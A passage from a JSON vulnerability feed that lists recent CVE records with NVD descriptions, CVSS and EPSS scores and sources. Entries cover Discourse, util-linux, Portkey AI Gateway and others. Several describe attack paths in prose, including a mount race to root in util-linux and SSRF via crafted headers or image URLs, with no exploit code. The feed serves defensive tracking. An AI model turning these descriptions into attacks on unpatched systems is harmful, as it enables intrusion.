write.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:44.833Z","updatedAt":"2026-10-20T02:17:07.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100236","asOf":"2026-10-20T02:17:07.663Z"},"epss":{"probability":0.00326,"percentile":0.25471,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100236","type":"primary","publishedAt":"2026-10-14T17:17:44.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-15060","cveId":"CVE-2016-15060","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler.","summary":"A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler. The manipulation results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used.","detail":"A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler. The manipulation results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:33.643Z","updatedAt":"2026-10-20T02:17:07.037Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-15060","asOf":"2026-10-20T02:17:07.037Z"},"epss":{"probability":0.00516,"percentile":0.43632,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-15060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2016-15060","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-15060","type":"primary","publishedAt":"2026-10-14T17:17:33.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-15060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-15060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91882","cveId":"CVE-2026-91882","aliases":[],"kind":"vulnerability","title":"Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API...","summary":"Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API client error handling component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.","detail":"Dell Terraform Provider for OME, versions 1.0.0 through 1.2.3, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability in the API client error handling component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.880Z","updatedAt":"2026-10-15T16:18:23.107Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91882","asOf":"2026-10-15T16:18:23.107Z"},"epss":{"probability":0.00424,"percentile":0.36396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91882","type":"primary","publishedAt":"2026-10-14T16:17:56.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91159","cveId":"CVE-2026-91159","aliases":[],"kind":"vulnerability","title":"Discourse is an open-source discussion platform.","summary":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, oEmbed processing treated an entire attacker-controlled HTML fragment as trusted when the fragment contained an iframe whose source matched the configured allowlist. A user with posting permission who controlled a public webpage and its oEmbed response could combine an allowlisted iframe with unrelated sibling HTML or CSS, causing stored visual overlays or other styled content to appear in post content and enabling misleading or fraudulent user interfaces. Exploitation requires a posting account, control of the fetched webpage and oEmbed response, and an allowlisted iframe source. The issue affects content integrity but does not expose restricted data, disrupt availability, or require interaction with Discourse Content Security Policy. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.","detail":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, oEmbed processing treated an entire attacker-controlled HTML fragment as trusted when the fragment contained an iframe whose source matched the configured allowlist. A user with posting permission who controlled a public webpage and its oEmbed response could combine an allowlisted iframe with unrelated sibling HTML or CSS, causing stored visual overlays or other styled content to appear in post content and enabling misleading or fraudulent user interfaces. Exploitation requires a posting account, control of the fetched webpage and oEmbed response, and an allowlisted iframe source. The issue affects content integrity but does not expose restricted data, disrupt availability, or require interaction with Discourse Content Security Policy. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.613Z","updatedAt":"2026-10-20T02:17:13.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91159","asOf":"2026-10-20T02:17:13.347Z"},"epss":{"probability":0.00417,"percentile":0.35702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91159","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91159","type":"primary","publishedAt":"2026-10-14T16:17:56.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91157","cveId":"CVE-2026-91157","aliases":[],"kind":"vulnerability","title":"Discourse is an open-source discussion platform.","summary":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, sites with secure uploads enabled did not reconcile existing upload security metadata when a previously public category became read-restricted or when category permissions changed during a bulk import. Media and attachments uploaded while the category was public retained a public accessibility flag and remained reachable by anonymous users through their short upload URLs, including uploads associated with deleted topics. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.","detail":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, sites with secure uploads enabled did not reconcile existing upload security metadata when a previously public category became read-restricted or when category permissions changed during a bulk import. Media and attachments uploaded while the category was public retained a public accessibility flag and remained reachable by anonymous users through their short upload URLs, including uploads associated with deleted topics. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.460Z","updatedAt":"2026-10-20T02:17:13.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91157","asOf":"2026-10-20T02:17:13.223Z"},"epss":{"probability":0.00482,"percentile":0.41246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91157&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91157","type":"primary","publishedAt":"2026-10-14T16:17:56.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91157&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91157, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91156","cveId":"CVE-2026-91156","aliases":[],"kind":"vulnerability","title":"Discourse is an open-source discussion platform.","summary":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, MessageBus audience calculation could deliver messages from a read-restricted category chat channel to an authenticated user who could view the category but was not allowed to use Chat under the site's group restrictions. The publication path bounded events by category visibility without also enforcing Chat eligibility, exposing live and recent message content available in the MessageBus backlog. The issue does not permit retrieval of the channel's full history through the Chat API and does not permit message creation or modification. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.","detail":"Discourse is an open-source discussion platform. Prior to 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9, MessageBus audience calculation could deliver messages from a read-restricted category chat channel to an authenticated user who could view the category but was not allowed to use Chat under the site's group restrictions. The publication path bounded events by category visibility without also enforcing Chat eligibility, exposing live and recent message content available in the MessageBus backlog. The issue does not permit retrieval of the channel's full history through the Chat API and does not permit message creation or modification. This issue is fixed in versions 2026.9.0, 2026.8.1, 2026.7.3, and 2026.1.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:56.310Z","updatedAt":"2026-10-14T18:19:33.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91156","asOf":"2026-10-14T18:19:33.973Z"},"epss":{"probability":0.00482,"percentile":0.41246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91156","type":"primary","publishedAt":"2026-10-14T16:17:56.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53615","cveId":"CVE-2026-53615","aliases":[],"kind":"vulnerability","title":"util-linux is a random collection of Linux utilities.","summary":"util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.","detail":"util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:46.070Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53615","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00178,"percentile":0.07262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53615","type":"primary","publishedAt":"2026-10-14T16:17:46.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53614","cveId":"CVE-2026-53614","aliases":[],"kind":"vulnerability","title":"util-linux is a random collection of Linux utilities.","summary":"util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.","detail":"util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:45.930Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53614","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00133,"percentile":0.02811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53614&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53614","type":"primary","publishedAt":"2026-10-14T16:17:45.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53614&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53614, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110719","cveId":"CVE-2026-110719","aliases":[],"kind":"vulnerability","title":"Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services...","summary":"Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services because isValidCustomHost trusts localhost-style hosts when TRUSTED_CUSTOM_HOSTS is unset. Attackers can send /v1 requests with a crafted x-portkey-custom-host header, such as via the ollama provider, to make the gateway call internal services and return their responses.","detail":"Portkey AI Gateway 1.14.0 through 1.15.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to reach loopback and Docker host services because isValidCustomHost trusts localhost-style hosts when TRUSTED_CUSTOM_HOSTS is unset. Attackers can send /v1 requests with a crafted x-portkey-custom-host header, such as via the ollama provider, to make the gateway call internal services and return their responses.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:44.183Z","updatedAt":"2026-10-20T02:17:10.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110719","asOf":"2026-10-20T02:17:10.627Z"},"epss":{"probability":0.00364,"percentile":0.30003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110719","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110719","type":"primary","publishedAt":"2026-10-14T16:17:44.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110718","cveId":"CVE-2026-110718","aliases":[],"kind":"vulnerability","title":"TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src...","summary":"TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src attributes. Attackers can reference loopback, private, or cloud metadata addresses that bypass the loose isValidUrl() check, and read responses embedded in the generated DOCX word/media folder.","detail":"TurboDocx html-to-docx through 1.23.1 contains a server-side request forgery vulnerability that allows attackers supplying HTML to make the server fetch internal URLs via img src attributes. Attackers can reference loopback, private, or cloud metadata addresses that bypass the loose isValidUrl() check, and read responses embedded in the generated DOCX word/media folder.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:44.047Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110718","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00442,"percentile":0.38171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110718","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110718","type":"primary","publishedAt":"2026-10-14T16:17:44.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110714","cveId":"CVE-2026-110714","aliases":[],"kind":"vulnerability","title":"libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security...","summary":"libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security descriptors. Attackers controlling a server or intercepting unsigned sessions can send an AclSize below 8 in a QUERY_INFO reply, bypassing ACE bounds checks and crashing the client.","detail":"libsmb2 through 6.2 contains an integer underflow vulnerability in decode_acl that allows malicious SMB servers to trigger heap out-of-bounds reads via crafted security descriptors. Attackers controlling a server or intercepting unsigned sessions can send an AclSize below 8 in a QUERY_INFO reply, bypassing ACE bounds checks and crashing the client.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 